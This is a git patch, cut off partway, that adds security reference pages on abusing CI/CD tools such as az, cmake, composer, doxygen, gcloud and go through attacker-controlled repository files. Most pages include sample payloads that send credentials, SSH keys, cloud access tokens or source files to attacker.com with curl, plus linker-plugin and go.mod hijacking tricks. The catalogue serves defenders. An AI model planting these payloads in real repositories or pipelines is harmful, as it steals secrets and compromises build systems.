From a40692348ff52edbecfd5ad274dddb1027563337 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois=20Proulx?= Date: Sun, 19 Oct 2025 21:30:12 -0400 Subject: [PATCH] Draft of ideas --- _tool/az.md | 62 +++++++++++++++++++ _tool/bats.md | 53 +++++++++++++++++ _tool/brew.md | 63 ++++++++++++++++++++ _tool/buildah.md | 56 ++++++++++++++++++ _tool/bundle.md | 55 +++++++++++++++++ _tool/cmake.md | 52 ++++++++++++++++ _tool/composer.md | 50 ++++++++++++++++ _tool/dotnet.md | 55 +++++++++++++++++ _tool/doxygen.md | 49 +++++++++++++++ _tool/gcloud.md | 57 +++++++++++++----- _tool/git.md | 41 +++++++++++++ _tool/go.md | 60 +++++++++++++++++++ _tool/gradlew.md | 42 +++++++++++++ _tool/gsutil.md | 53 +++++++++++++++++ _tool/helm.md | 49 +++++++++++++++ _tool/hugo.md | 61 +++++++++++++++++++ _tool/jq.md | 59 ++++++++++++++++++ _tool/jupyter.md | 48 +++++++++++++++ _tool/kubectl.md | 78 ++++++++++++++++++++++++ _tool/maven.md | 89 ++++++++++++---------------- _tool/mysql.md | 55 +++++++++++++++++ _tool/node.md | 43 ++++++++++++++ _tool/npm.md | 86 ++++++++++++--------------- _tool/opa.md | 61 +++++++++++++++++++ _tool/pip.md | 141 +++++++++++++------------------------------- _tool/pnpm.md | 55 +++++++++++++++++ _tool/poetry.md | 53 +++++++++++++++++ _tool/pre-commit.md | 63 ++++++++++++++------ _tool/python.md | 59 ++++++++++++++++++ _tool/python3.md | 45 ++++++++++++++ _tool/rustup.md | 55 +++++++++++++++++ _tool/setup.py.md | 59 ++++++++++++++++++ _tool/source.md | 45 ++++++++++++++ _tool/tflint.md | 97 ++++++++++++++++-------------- _tool/tox.md | 53 +++++++++++++++++ _tool/xmllint.md | 52 ++++++++++++++++ _tool/xsltproc.md | 56 ++++++++++++++++++ _tool/yq.md | 59 ++++++++++++++++++ 38 files changed, 1993 insertions(+), 276 deletions(-) create mode 100644 _tool/az.md create mode 100644 _tool/bats.md create mode 100644 _tool/brew.md create mode 100644 _tool/buildah.md create mode 100644 _tool/bundle.md create mode 100644 _tool/cmake.md create mode 100644 _tool/composer.md create mode 100644 _tool/dotnet.md create mode 100644 _tool/doxygen.md create mode 100644 _tool/git.md create mode 100644 _tool/go.md create mode 100644 _tool/gradlew.md create mode 100644 _tool/gsutil.md create mode 100644 _tool/helm.md create mode 100644 _tool/hugo.md create mode 100644 _tool/jq.md create mode 100644 _tool/jupyter.md create mode 100644 _tool/kubectl.md create mode 100644 _tool/mysql.md create mode 100644 _tool/node.md create mode 100644 _tool/opa.md create mode 100644 _tool/pnpm.md create mode 100644 _tool/poetry.md create mode 100644 _tool/python.md create mode 100644 _tool/python3.md create mode 100644 _tool/rustup.md create mode 100644 _tool/setup.py.md create mode 100644 _tool/source.md create mode 100644 _tool/tox.md create mode 100644 _tool/xmllint.md create mode 100644 _tool/xsltproc.md create mode 100644 _tool/yq.md diff --git a/_tool/az.md b/_tool/az.md new file mode 100644 index 0000000..5d05bed --- /dev/null +++ b/_tool/az.md @@ -0,0 +1,62 @@ +--- +layout: tool +title: az +parent: Living Off The Pipeline +nav_order: 28 +--- + +## Living Off The Pipeline - az (Azure CLI) + +The Azure CLI (`az`) is the command-line tool for managing Azure resources. It can be abused as a "Living Off The Pipeline" (LOTP) tool when sub-commands like `az deployment group create` are used to process malicious, repository-local template files. + +### First-Order LOTP Tool + +`az` is a **First-Order LOTP Tool**. It provides Remote Code Execution (RCE) by processing a malicious Azure Resource Manager (ARM) template that contains an executable script. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `az deployment group create` command is used to deploy Azure resources from an ARM template file (e.g., `main.json`). The ARM template specification includes a resource type called `Microsoft.Resources/deploymentScripts`. This resource is designed to run arbitrary PowerShell or Bash scripts as part of a deployment. + +An attacker can add a malicious `deploymentScripts` resource to an ARM template in their pull request. When a CI/CD pipeline runs `az deployment group create` on this file, the Azure platform will execute the attacker's script. While the RCE occurs on a temporary Azure container and not the CI runner itself, it executes with the pipeline's cloud identity, giving the attacker a powerful foothold in the target Azure environment. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a malicious ARM template file. + ```json + { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "resources": [ + { + "type": "Microsoft.Resources/deploymentScripts", + "apiVersion": "2020-10-01", + "name": "pwnedDeploymentScript", + "location": "[resourceGroup().location]", + "kind": "AzureCLI", + "properties": { + "azCliVersion": "2.30.0", + "scriptContent": "az account get-access-token --query accessToken -o tsv | curl -X POST -d @- http://attacker.com/", + "retentionInterval": "PT1H" + } + } + ] + } + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to deploy the ARM template. + ```yaml + - name: Deploy to Azure + run: az deployment group create --resource-group my-rg --template-file main.json + ``` + +3. **Execution:** + * The `az deployment group create` command is executed. + * It sends the attacker's malicious template to the Azure Resource Manager. + * Azure creates a temporary container to run the `deploymentScript`. + * The attacker's `scriptContent` is executed, which gets the access token of the pipeline's service principal and exfiltrates it to the attacker's server. + +This attack is dangerous because the CI/CD workflow file contains a legitimate command. The malicious payload is hidden within a declarative infrastructure file. + +### References + +* [Azure Docs: `deploymentScripts`](https://docs.microsoft.com/en-us/azure/templates/microsoft.resources/deploymentscripts) diff --git a/_tool/bats.md b/_tool/bats.md new file mode 100644 index 0000000..df21573 --- /dev/null +++ b/_tool/bats.md @@ -0,0 +1,53 @@ +--- +layout: tool +title: bats +parent: Living Off The Pipeline +nav_order: 30 +--- + +## Living Off The Pipeline - bats (Bash Automated Testing System) + +`Bats` (Bash Automated Testing System) is a testing framework for shell scripts. By its very nature, it is designed to execute code from files within the repository, making it a direct "Living Off The Pipeline" (LOTP) tool. + +### First-Order LOTP Tool + +`bats` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) because its purpose is to execute `.bats` files, which are themselves shell scripts. + +#### Malicious Primitive: Remote Code Execution (RCE) + +A `bats` test file (`.bats`) is a Bash script with a specialized syntax for defining test cases. The `bats` interpreter executes the shell commands contained within these files. + +An attacker can add a malicious command to any `.bats` file in their pull request. When a CI/CD pipeline runs the `bats` command to execute the test suite, it will execute the attacker's payload. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a new or modified test file containing a malicious payload. + ```bash + #!/usr/bin/env bats + + @test "Test feature X" { + # Malicious payload placed within a seemingly legitimate test + curl --data-binary @$HOME/.aws/credentials http://attacker.com/ + + # Legitimate test logic can follow + run some_command + [ "$status" -eq 0 ] + } + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to run the test suite. + ```yaml + - name: Run unit tests + run: bats tests/ + ``` + +3. **Execution:** + * The `bats tests/` command is executed. + * The `bats` interpreter finds and executes all `.bats` files in the `tests/` directory. + * When it executes the attacker's test case, the malicious `curl` command is run, exfiltrating credentials from the CI runner. + +This attack is dangerous because the malicious code is hidden in test files, which are often assumed to be safe, and the CI/CD command is completely benign. + +### References + +* [Bats-core Documentation](https://bats-core.readthedocs.io/en/stable/) diff --git a/_tool/brew.md b/_tool/brew.md new file mode 100644 index 0000000..81a7091 --- /dev/null +++ b/_tool/brew.md @@ -0,0 +1,63 @@ +--- +layout: tool +title: brew +tags: [cli, config-file, eval-ruby, rce] +references: +- https://github.com/Homebrew/homebrew-bundle +- https://docs.brew.sh/Formula-Cookbook +files: [Brewfile] +--- + +## Living Off The Pipeline - brew (Homebrew) + +`Homebrew` is a popular package manager for macOS and Linux. Its reliance on executable Ruby scripts ("formulae") and third-party repositories ("taps") makes it a powerful "Living Off The Pipeline" (LOTP) tool. + +### First-Order LOTP Tool + +`brew` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by design, as its purpose is to execute installation scripts from potentially attacker-controlled sources. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The primary vector for `brew` is the `Brewfile`, which is a repository-local file that lists project dependencies. An attacker can add two key items to this file: +1. A `tap` line, which points to their own malicious Git repository containing Homebrew formulae. +2. A `brew` line, which instructs Homebrew to install a formula from that malicious tap. + +A Homebrew formula is a Ruby script. The `install` method of a formula can contain arbitrary shell commands. When a CI/CD pipeline runs `brew bundle` to install dependencies from the `Brewfile`, it will execute the `install` method of the attacker's formula. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request containing a modified `Brewfile`. + ```ruby + # Brewfile + tap "attacker/homebrew-pwn" + brew "malicious-formula" + ``` + +2. **Attacker's Tap:** The attacker hosts a public Git repository (e.g., `github.com/attacker/homebrew-pwn`) containing their malicious formula. + ```ruby + # malicious-formula.rb + class MaliciousFormula < Formula + homepage "https://attacker.com" + url "https://attacker.com/v1.0.tar.gz" # Dummy URL + sha256 "..." # Dummy checksum + + def install + # Malicious payload + system "curl --data-binary @$HOME/.ssh/id_rsa http://attacker.com/" + end + end + ``` + +3. **Vulnerable Workflow:** The pipeline contains a standard command to install dependencies. + ```yaml + - name: Install Homebrew dependencies + run: brew bundle + ``` + +4. **Execution:** + * The `brew bundle` command is executed. + * It reads the `Brewfile`, adds the attacker's `tap`, and then proceeds to install `malicious-formula`. + * To install the formula, Homebrew executes the Ruby code in the `install` method. + * The attacker's `system` command runs, exfiltrating sensitive files. + +This attack is dangerous because the CI/CD workflow file is benign. The malicious payload is hidden in a remote repository that is trusted and executed by the package manager. \ No newline at end of file diff --git a/_tool/buildah.md b/_tool/buildah.md new file mode 100644 index 0000000..ec2dd1e --- /dev/null +++ b/_tool/buildah.md @@ -0,0 +1,56 @@ +--- +layout: tool +title: buildah +parent: Living Off The Pipeline +nav_order: 35 +--- + +## Living Off The Pipeline - buildah + +`buildah` is a command-line tool for building OCI-compliant container images. It serves as a direct alternative to `docker build` and shares the same powerful "Living Off The Pipeline" (LOTP) vector: the `Containerfile` (or `Dockerfile`). + +### First-Order LOTP Tool + +`buildah` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by processing a malicious `Containerfile` that contains executable instructions. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `buildah bud` (build-using-dockerfile) command builds an image from a `Containerfile`. This file format includes the `RUN` instruction, which is designed to execute arbitrary shell commands to build up the layers of the container image. + +An attacker can add a malicious `RUN` instruction to a `Containerfile` in their pull request. When a CI/CD pipeline uses `buildah bud` to build an image from this file, it will execute the attacker's payload on the runner. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a modified `Containerfile` containing a malicious `RUN` instruction. + ```dockerfile + # Containerfile + FROM ubi8 + + # Legitimate build steps + RUN dnf install -y httpd + + # Malicious payload + RUN curl --data-binary @$HOME/.gcp/credentials.json http://attacker.com/ + + # More legitimate steps + COPY . /var/www/html + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to build the container image. + ```yaml + - name: Build application image + run: buildah bud -t my-app:latest . + ``` + +3. **Execution:** + * The `buildah bud` command is executed. + * It reads the `Containerfile` from the attacker's pull request. + * It executes the `RUN` instructions in order. + * The attacker's `curl` command runs, exfiltrating cloud credentials from the CI runner. + +This attack is dangerous because the CI/CD workflow file contains a benign and common command. The malicious payload is hidden within a build definition file. + +### References + +* [Buildah Tutorial](https://github.com/containers/buildah/blob/main/docs/tutorials/buildah_tutorial.md) +* [Dockerfile `RUN` instruction](https://docs.docker.com/engine/reference/builder/#run) diff --git a/_tool/bundle.md b/_tool/bundle.md new file mode 100644 index 0000000..acfdc92 --- /dev/null +++ b/_tool/bundle.md @@ -0,0 +1,55 @@ +--- +layout: tool +title: bundle +parent: Living Off The Pipeline +nav_order: 8 +--- + +## Living Off The Pipeline - bundle (Bundler) + +Bundler is the standard dependency manager for Ruby. It can be abused as a "Living Off The Pipeline" (LOTP) tool by manipulating the `Gemfile` to load a malicious, local version of a gem, leading to Remote Code Execution (RCE). + +### First-Order LOTP Tool + +Bundler is a **First-Order LOTP Tool**. It provides direct RCE when it processes a malicious `Gemfile`. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `Gemfile` allows developers to specify a dependency's source using a local `path`. This feature, intended for development, can be weaponized by an attacker in a pull request. + +An attacker can replace a legitimate gem with a malicious local version that contains an `extconf.rb` script. This script is a standard part of gems that build C extensions, and it is executed by the `bundle install` command. The attacker places their malicious payload in this script. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request containing: + * A modified `Gemfile` that points a common gem to a local path. + ```ruby + # Gemfile + gem 'nokogiri', path: './malicious/nokogiri' + ``` + * A malicious version of the gem at that path, including a malicious `extconf.rb` script. + ```ruby + # malicious/nokogiri/extconf.rb + require 'open-uri' + # Malicious payload + open("http://attacker.com/?data=#{ENV['SUPER_SECRET']}") + ``` + +2. **Vulnerable Workflow:** The pipeline contains a completely standard command to install dependencies. + ```yaml + - name: Install Ruby gems + run: bundle install + ``` + +3. **Execution:** + * The `bundle install` command reads the `Gemfile`. + * It finds the `path` directive and uses the attacker's local, malicious version of the `nokogiri` gem. + * During the installation process, Bundler executes the malicious `extconf.rb` script to (purportedly) build the native extension. + * The attacker's payload runs, leading to RCE. + +This attack is dangerous because the CI/CD workflow file is benign, and the malicious code is hidden in a file (`extconf.rb`) that is expected to be executed during a normal installation. + +### References + +* [Bundler `path` option](https://bundler.io/man/gemfile.5.html#PATH) +* [RubyGems: C Extensions](https://guides.rubygems.org/c-extensions/) diff --git a/_tool/cmake.md b/_tool/cmake.md new file mode 100644 index 0000000..a4069d6 --- /dev/null +++ b/_tool/cmake.md @@ -0,0 +1,52 @@ +--- +layout: tool +title: cmake +tags: [cli, config-file, eval-sh] +references: +- https://cmake.org/cmake/help/latest/command/execute_process.html +files: [CMakeLists.txt] +--- + +## Living Off The Pipeline - cmake + +`CMake` is a cross-platform build system generator. It uses a script file named `CMakeLists.txt` to define a project's build process. This script file is a powerful vector for "Living Off The Pipeline" (LOTP) attacks. + +### First-Order LOTP Tool + +`cmake` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by design, as its primary configuration file is an executable script. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `CMakeLists.txt` file is not just a data file; it is a script that is interpreted and executed by the `cmake` command. This script can contain the `execute_process()` command, which is used to run arbitrary shell commands. + +An attacker can add a malicious `execute_process()` command to the `CMakeLists.txt` file in their pull request. When a CI/CD pipeline runs the standard `cmake .` command to configure the project, it will execute the attacker's payload. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request with a modified `CMakeLists.txt` file containing a malicious `execute_process` command. + ```cmake + # CMakeLists.txt + cmake_minimum_required(VERSION 3.10) + project(LegitProject) + + # Malicious payload that runs during the configuration step + execute_process(COMMAND sh -c "curl --data-binary @$HOME/.ssh/id_rsa http://attacker.com/") + + # Legitimate build targets + add_executable(my_app main.cpp) + ``` + +2. **Vulnerable Workflow:** The pipeline contains a completely standard set of commands to configure and build a CMake-based project. + ```yaml + - name: Configure project + run: cmake . + - name: Build project + run: make + ``` + +3. **Execution:** + * The `cmake .` command is executed. + * CMake parses the `CMakeLists.txt` file and immediately executes the `execute_process()` command. + * The attacker's `curl` command runs, exfiltrating sensitive files from the CI runner. The RCE happens during the *configuration* phase, before any compilation begins. + +This attack is dangerous because the CI/CD workflow file is benign. The malicious payload is hidden inside the project's main build script. \ No newline at end of file diff --git a/_tool/composer.md b/_tool/composer.md new file mode 100644 index 0000000..50b304f --- /dev/null +++ b/_tool/composer.md @@ -0,0 +1,50 @@ +--- +layout: tool +title: composer +tags: [cli, config-file, eval-sh] +references: +- https://getcomposer.org/doc/articles/scripts.md +files: [composer.json] +--- + +## Living Off The Pipeline - composer + +`composer` is the standard package manager for PHP. Its functionality can be abused by manipulating script hooks in the `composer.json` file, making it a classic "Living Off The Pipeline" (LOTP) tool. + +### First-Order LOTP Tool + +`composer` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by design, as it is intended to execute user-defined scripts at various points in its lifecycle. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `composer.json` file, which defines a project's dependencies and metadata, contains a `scripts` section. This section allows developers to define shell commands or PHP callbacks that are triggered by events like `post-install-cmd` or `post-update-cmd`. + +An attacker can add a malicious command to one of these script hooks in a pull request. When a CI/CD pipeline runs a standard `composer install` or `composer update` command, it will execute the attacker's payload. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request with a modified `composer.json` file containing a malicious script hook. + ```json + { + "name": "acme/website", + "description": "A legitimate project", + "scripts": { + "post-install-cmd": [ + "curl --data-binary @$HOME/.aws/credentials http://attacker.com/" + ] + } + } + ``` + +2. **Vulnerable Workflow:** The pipeline contains a completely standard command to install PHP dependencies. + ```yaml + - name: Install dependencies + run: composer install + ``` + +3. **Execution:** + * The `composer install` command is executed. + * After downloading and installing the project's dependencies, Composer fires the `post-install-cmd` event. + * It executes the attacker's `curl` command, exfiltrating sensitive credentials from the CI runner. + +This attack is dangerous because the CI/CD workflow file is benign. The malicious payload is hidden in the project's main configuration file. \ No newline at end of file diff --git a/_tool/dotnet.md b/_tool/dotnet.md new file mode 100644 index 0000000..1e4afc4 --- /dev/null +++ b/_tool/dotnet.md @@ -0,0 +1,55 @@ +--- +layout: tool +title: dotnet +tags: [cli, config-file, eval-sh] +references: +- https://learn.microsoft.com/en-us/visualstudio/msbuild/exec-task +- https://learn.microsoft.com/en-us/visualstudio/msbuild/msbuild-targets +files: [".csproj", ".vbproj"] +--- + +## Living Off The Pipeline - dotnet + +The `dotnet` command-line interface (CLI) is the primary tool for building and running .NET applications. It uses MSBuild project files (e.g., `.csproj`), which can be manipulated by an attacker to execute arbitrary code, making `dotnet` a powerful "Living Off The Pipeline" (LOTP) tool. + +### First-Order LOTP Tool + +`dotnet` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by processing a malicious `.csproj` file during a standard build process. + +#### Malicious Primitive: Remote Code Execution (RCE) + +A `.csproj` file is not just a data file; it is an executable MSBuild script. It can contain "Targets," which are blocks of code that run at specific points in the build lifecycle. An attacker can define a malicious `Target` that uses the `` task to run an arbitrary shell command. + +When a CI/CD pipeline runs a standard command like `dotnet build` or `dotnet test`, the MSBuild engine will parse the malicious `.csproj` file and execute the attacker's payload. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request with a modified `.csproj` file containing a malicious `Target`. The `BeforeTargets="Build"` attribute ensures it runs before the main compilation. + ```xml + + + + Exe + net8.0 + + + + + + + + ``` + +2. **Vulnerable Workflow:** The pipeline contains a completely standard command to build the project. + ```yaml + - name: Build .NET application + run: dotnet build + ``` + +3. **Execution:** + * The `dotnet build` command is executed. + * The MSBuild engine parses the attacker's `.csproj` file. + * It finds the `Pwned` target and executes it before the `Build` target. + * The attacker's `Exec` command runs, exfiltrating sensitive files from the CI runner. + +This attack is dangerous because the CI/CD workflow file is benign. The malicious payload is hidden inside the project's main configuration file. \ No newline at end of file diff --git a/_tool/doxygen.md b/_tool/doxygen.md new file mode 100644 index 0000000..0e53028 --- /dev/null +++ b/_tool/doxygen.md @@ -0,0 +1,49 @@ +--- +layout: tool +title: doxygen +parent: Living Off The Pipeline +nav_order: 34 +--- + +## Living Off The Pipeline - doxygen + +`Doxygen` is a documentation generator for various programming languages. It can be abused as a "Living Off The Pipeline" (LOTP) tool because its configuration file, the `Doxyfile`, can be manipulated to execute arbitrary shell commands. + +### First-Order LOTP Tool + +`Doxygen` is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) by design, as it is intended to execute external helper programs defined in its configuration file. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `Doxyfile` is the configuration file for a Doxygen project. It contains numerous tags that control the documentation process. Several of these tags are designed to specify external programs for Doxygen to execute. The most direct vector is the `INPUT_FILTER` tag. + +The `INPUT_FILTER` tag specifies a command that Doxygen will run for every source file it processes. An attacker can set this tag to a malicious shell command in a pull request. When a CI/CD pipeline runs the `doxygen` command, it will execute the attacker's payload for each file, leading to RCE. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request with a modified `Doxyfile` containing a malicious `INPUT_FILTER`. + ``` + # Doxyfile + + # Malicious payload to exfiltrate the content of every source file + INPUT_FILTER = "sh -c 'curl --data-binary @$1 http://attacker.com/files'" + ``` + (Doxygen replaces `$1` with the path to the input file.) + +2. **Vulnerable Workflow:** The pipeline contains a standard command to generate the project's documentation. + ```yaml + - name: Generate API documentation + run: doxygen + ``` + +3. **Execution:** + * The `doxygen` command is executed. + * It reads the `Doxyfile` and finds the malicious `INPUT_FILTER` command. + * For each source file in the project, Doxygen executes the attacker's `sh -c 'curl...'` command. + * The attacker's payload runs repeatedly, exfiltrating the entire source code of the project to the attacker's server. + +This attack is dangerous because the CI/CD workflow file is benign. The malicious payload is hidden in a configuration file for a seemingly harmless documentation tool. + +### References + +* [Doxygen Manual: `INPUT_FILTER`](https://www.doxygen.nl/manual/config.html#cfg_input_filter) diff --git a/_tool/gcloud.md b/_tool/gcloud.md index 0657125..73a2a82 100644 --- a/_tool/gcloud.md +++ b/_tool/gcloud.md @@ -1,22 +1,51 @@ --- +layout: tool title: gcloud -tags: - - cli - - config-file - - eval-sh -references: -- https://cloud.google.com/build/docs/configuring-builds/create-basic-configuration +tags: [cli, config-file, rce] +references: +- https://cloud.google.com/build/docs/configuring-builds/create-basic-configuration files: [cloudbuild.yaml] --- -`gcloud` is the Google Cloud management tool configured through a file in some cases. +## Living Off The Pipeline - gcloud (Google Cloud CLI) -## `gcloud builds submit` +The `gcloud` command-line interface can be abused as a "Living Off The Pipeline" (LOTP) tool. While the CLI's own configuration is secure, specific sub-commands like `gcloud builds submit` operate on repository-local configuration files that can be weaponized by an attacker. -An attacker-controlled `cloudbuild.yaml` can be used to compromise the remote build pipeline, which has the same permission as the authenticated account: +### First-Order LOTP Tool -```yaml -steps: - - name: 'alpine' - args: ['sh', '-c', 'id'] -``` +`gcloud` is a **First-Order LOTP Tool**. It provides Remote Code Execution (RCE) by processing a malicious `cloudbuild.yaml` file. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The `gcloud builds submit` command takes a configuration file (commonly `cloudbuild.yaml`) that defines the steps for a remote build on Google Cloud Build. This file can contain a `steps` section, where each step can run arbitrary shell commands. + +An attacker can add a malicious step to the `cloudbuild.yaml` in their pull request. When a CI/CD pipeline executes `gcloud builds submit`, it sends this malicious configuration to the Google Cloud Build service, which then executes the attacker's payload on a remote build worker. While the RCE is not on the initial CI runner, it is still a full RCE in a trusted cloud environment. + +### Real-World Attack Scenario + +1. **Attacker's PR:** An attacker submits a pull request with a malicious `cloudbuild.yaml` file. + ```yaml + # cloudbuild.yaml + steps: + # This step will run on a Google Cloud Build worker and exfiltrate its credentials. + - name: 'gcr.io/cloud-builders/gcloud' + entrypoint: 'sh' + args: + - '-c' + - | + gcloud auth print-access-token | curl -X POST -d @- http://attacker.com/ + ``` + +2. **Vulnerable Workflow:** The pipeline contains a standard command to submit the project to Google Cloud Build. + ```yaml + - name: Submit build to GCP + run: gcloud builds submit --config cloudbuild.yaml . + ``` + +3. **Execution:** + * The `gcloud builds submit` command is executed. + * It uploads the repository contents, including the malicious `cloudbuild.yaml`, to Google Cloud. + * The Google Cloud Build service starts a new build, reads the attacker's configuration, and executes the malicious step. + * The attacker's `curl` command runs on the Cloud Build worker, stealing the service account's access token. + +This attack is dangerous because the CI/CD workflow file contains a legitimate and common command. The malicious payload is hidden in a project configuration file that defines a remote, trusted build process. diff --git a/_tool/git.md b/_tool/git.md new file mode 100644 index 0000000..a8adf99 --- /dev/null +++ b/_tool/git.md @@ -0,0 +1,41 @@ +--- +layout: tool +title: git +parent: Living Off The Pipeline +nav_order: 1 +--- + +## Living Off The Pipeline - git + +`git` is a distributed version control system and the foundation of most CI/CD pipelines. While essential, its complex features can be abused in multiple ways, making it both a powerful "Setup Gadget" and a potential "Execution Gadget". + +This analysis covers three distinct vectors, all of which use documented features of `git`. + +### Vector 1: `git config` Poisoning (Execution Gadget) + +The `git config` command can be used by a "Setup Gadget" to poison the configuration of the local repository. This turns a subsequent, benign `git` command into an RCE trigger. + +* **Primitive:** Remote Code Execution (RCE). +* **Mechanism:** Many `git` commands (e.g., `log`, `diff`) use an external pager program. A setup gadget can poison the `core.pager` configuration to point to a malicious script. +* **Attack Chain:** + 1. **Setup:** An early step in a pipeline is tricked into running `git config --local core.pager malicious.sh`. + 2. **Execution:** A later step runs a standard `git log` or `git diff` command. `git` invokes the configured pager, which is now the attacker's malicious script, achieving RCE. + +### Vector 2: Arbitrary Symlink Creation (Setup Gadget) + +`git` faithfully preserves symbolic links. An attacker can commit a symlink that points to a sensitive location on the CI runner's filesystem. + +* **Primitive:** Arbitrary Symlink Creation. +* **Mechanism:** The `actions/checkout` step creates the attacker's malicious symlink on the runner's filesystem. A subsequent, seemingly harmless tool (like `tar`) can then be tricked into following the symlink and reading or writing to a sensitive location. + +### Vector 3: Git LFS Configuration (Data Exfiltration Gadget) + +The Git LFS (Large File Storage) extension uses a `.lfsconfig` file to define the LFS server URL. An attacker can modify this file to exfiltrate credentials. + +* **Primitive:** Arbitrary Network Access (Data Exfiltration). +* **Mechanism:** An attacker points the LFS URL in `.lfsconfig` to their own server. When `actions/checkout` runs with `lfs: true`, the `git lfs` client sends a request to the attacker's server, which includes an `Authorization` header containing the job's `GITHUB_TOKEN`. + +### References + +* [Git Configuration](https://git-scm.com/docs/git-config) +* [Git LFS Documentation](https://git-lfs.github.com/) diff --git a/_tool/go.md b/_tool/go.md new file mode 100644 index 0000000..8bb9ae7 --- /dev/null +++ b/_tool/go.md @@ -0,0 +1,60 @@ +--- +layout: tool +title: go +parent: Living Off The Pipeline +nav_order: 3 +--- + +## Living Off The Pipeline - go + +The Go toolchain offers multiple, distinct vectors for "Living Off The Pipeline" (LOTP) attacks. An attacker can abuse code generation features, hijack the build process itself, or poison dependencies to achieve Remote Code Execution (RCE) or set up a later exploit. + +This analysis covers three separate vectors, all of which use documented features of the Go ecosystem. + +### Vector 1: `go generate` (First-Order LOTP Tool) + +The `go generate` command is a powerful, built-in tool that executes arbitrary shell commands defined in special `//go:generate` comments within Go source files. + +* **Primitive:** Remote Code Execution (RCE). +* **Mechanism:** An attacker adds a malicious `//go:generate` directive to a source file in their pull request. A CI pipeline step that runs the common `go generate ./...` command will find and execute the attacker's payload. +* **Example:** + ```go + //go:generate curl --data-binary @$GITHUB_ENV http://attacker.com/ + ``` + +### Vector 2: `go build` via `cgo` Linker Hijacking (First-Order LOTP Tool) + +This is a highly surprising vector that subverts the security assumptions of the `go build` command itself. It uses `cgo`, Go's C language interface, to trick the system linker into executing code *during the build process*. + +* **Primitive:** Remote Code Execution (RCE). +* **Mechanism:** An attacker adds a Go file with `import "C"` and a malicious `LDFLAGS` directive. This flag instructs the system linker (`ld`) to load a malicious shared object (`.so`) file from the repository as a "plugin." The linker executes code from the plugin as part of its process. +* **Example:** + ```go + package main + /* + #cgo LDFLAGS: -Wl,-plugin,./malicious.so + */ + import "C" + func main() {} + ``` + A standard `go build` command will trigger this, as it invokes the linker with the attacker's flags. + +### Vector 3: `go.mod` `replace` Directive (Setup Gadget) + +The `go.mod` file can be weaponized to act as a "Setup Gadget" that injects one of the other LOTP vectors into the build. + +* **Primitive:** Dependency Confusion / Hijacking. +* **Mechanism:** The `replace` directive in `go.mod` is meant to substitute a dependency with a local version. An attacker can use it to replace a legitimate dependency with a malicious version located within their pull request. This malicious version can then contain a `go:generate` or `cgo` payload. +* **Attack Chain:** + 1. **Setup:** An attacker's PR modifies `go.mod` to `replace` a trusted dependency (e.g., `golang.org/x/crypto`) with a local malicious version. + 2. **Execution:** The CI pipeline runs a standard `go build`. The Go toolchain compiles the malicious dependency, triggering the embedded `cgo` or `go:generate` payload and achieving RCE. +* **Example `go.mod`:** + ``` + replace golang.org/x/crypto => ./internal/malicious-crypto + ``` + +### References + +* [Go Generate Documentation](https://go.dev/blog/generate) +* [Using cgo with the go command](https://go.dev/blog/cgo) +* [Go Modules: `replace` directive](https://go.dev/ref/mod#go-mod-file-replace) diff --git a/_tool/gradlew.md b/_tool/gradlew.md new file mode 100644 index 0000000..39d4b56 --- /dev/null +++ b/_tool/gradlew.md @@ -0,0 +1,42 @@ +--- +layout: tool +title: ./gradlew +parent: Living Off The Pipeline +nav_order: 5 +--- + +## Living Off The Pipeline - ./gradlew (Gradle Wrapper) + +The Gradle Wrapper (`gradlew`) is a standard utility in Java projects that ensures a consistent Gradle version is used for the build. It includes scripts and a JAR file that are committed directly to the repository, creating a powerful "Living Off The Pipeline" (LOTP) vector. + +### First-Order LOTP Tool + +The Gradle Wrapper is a **First-Order LOTP Tool**. It provides direct Remote Code Execution (RCE) because the command to run it (`./gradlew`) executes a binary file that is controlled by the attacker. + +#### Malicious Primitive: Remote Code Execution (RCE) + +The core of the Gradle Wrapper is the `gradle/wrapper/gradle-wrapper.jar` file. This is an executable JAR that contains the logic to download and run the Gradle build tool. Since this JAR is checked into the repository, an attacker can replace it with a malicious, compiled Java application. + +When a CI/CD pipeline executes a standard build command, it runs the attacker's malicious JAR file instead of the legitimate one. + +### Second-Order LOTP Attack Chain + +1. **Attacker's PR:** An attacker submits a pull request where they have replaced the legitimate `gradle/wrapper/gradle-wrapper.jar` with their own malicious version. + +2. **Vulnerable Workflow:** The pipeline contains a completely standard and seemingly safe command to build the project. + ```yaml + - name: Build Java project + run: ./gradlew build + ``` + +3. **Execution:** + * The `./gradlew build` command is executed. + * The `gradlew` shell script invokes the Java Virtual Machine (JVM) to run the `gradle-wrapper.jar` file. + * The JVM executes the attacker's malicious JAR, leading to RCE on the CI runner. + +This attack is particularly insidious because it is very difficult for a human 